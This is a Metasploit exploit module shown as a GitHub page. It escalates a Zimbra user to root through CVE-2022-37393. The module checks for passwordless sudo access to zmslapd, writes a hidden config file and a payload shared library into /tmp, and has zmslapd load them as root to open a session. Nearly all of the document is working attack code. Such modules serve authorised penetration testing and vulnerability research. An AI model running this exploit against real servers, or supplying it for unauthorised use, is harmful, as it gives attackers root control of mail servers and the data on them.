-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
zimbra_slapper_priv_esc.rb
138 lines (120 loc) · 4.78 KB
/
zimbra_slapper_priv_esc.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zimbra zmslapd arbitrary module load',
'Description' => %q{
This module exploits CVE-2022-37393, which is a vulnerability in
Zimbra's sudo configuration that permits the zimbra user to execute
the zmslapd binary as root with arbitrary parameters. As part of its
intended functionality, zmslapd can load a user-defined configuration
file, which includes plugins in the form of .so files, which also
execute as root.
},
'License' => MSF_LICENSE,
'Author' => [
'Darren Martyn', # discovery and poc
'Ron Bowes', # Module
],
'DisclosureDate' => '2021-10-27',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true,
'References' => [
[ 'CVE', '2022-37393' ],
[ 'URL', 'https://web.archive.org/web/20221002011602/https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/' ],
],
'Targets' => [
[ 'Auto', {} ],
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_options [
OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),
OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
# Because this isn't patched, I can't say with 100% certainty that this will
# detect a future patch (it depends on how they patch it)
def check
# Sanity check
if is_root?
fail_with(Failure::None, 'Session already has root privileges')
end
unless file_exist?("#{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
print_error("zmslapd executable not detected: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
return CheckCode::Safe
end
unless command_exists?(datastore['SUDO_PATH'])
print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")
return CheckCode::Safe
end
# Run `sudo -n -l` to make sure we have access to the target command
cmd = "#{datastore['SUDO_PATH']} -n -l"
print_status "Executing: #{cmd}"
output = cmd_exec(cmd).to_s
if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')
print_error('Current user could not execute sudo -l')
return CheckCode::Safe
end
if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
print_error('Current user does not have access to run zmslapd')
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
base_dir = datastore['WritableDir'].to_s
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
# Generate a random directory
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
if file_exist?(exploit_dir)
fail_with(Failure::BadConfig, 'Exploit dir already exists')
end
# Create the directory and get ready to remove it
print_status("Creating exploit directory: #{exploit_dir}")
mkdir(exploit_dir)
register_dir_for_cleanup(exploit_dir)
# Generate some filenames
library_name = ".#{rand_text_alphanumeric(5..10)}.so"
library_path = "#{exploit_dir}/#{library_name}"
config_name = ".#{rand_text_alphanumeric(5..10)}"
config_path = "#{exploit_dir}/#{config_name}"
# Create the .conf file
config = "modulepath #{exploit_dir}\nmoduleload #{library_name}\n"
write_file(config_path, config)
write_file(library_path, generate_payload_dll)
cmd = "sudo #{datastore['ZIMBRA_BASE']}/libexec/zmslapd -u root -g root -f #{config_path}"
print_status "Attempting to trigger payload: #{cmd}"
out = cmd_exec(cmd)
unless session_created?
print_error("Failed to create session! Cmd output = #{out}")
end
end
end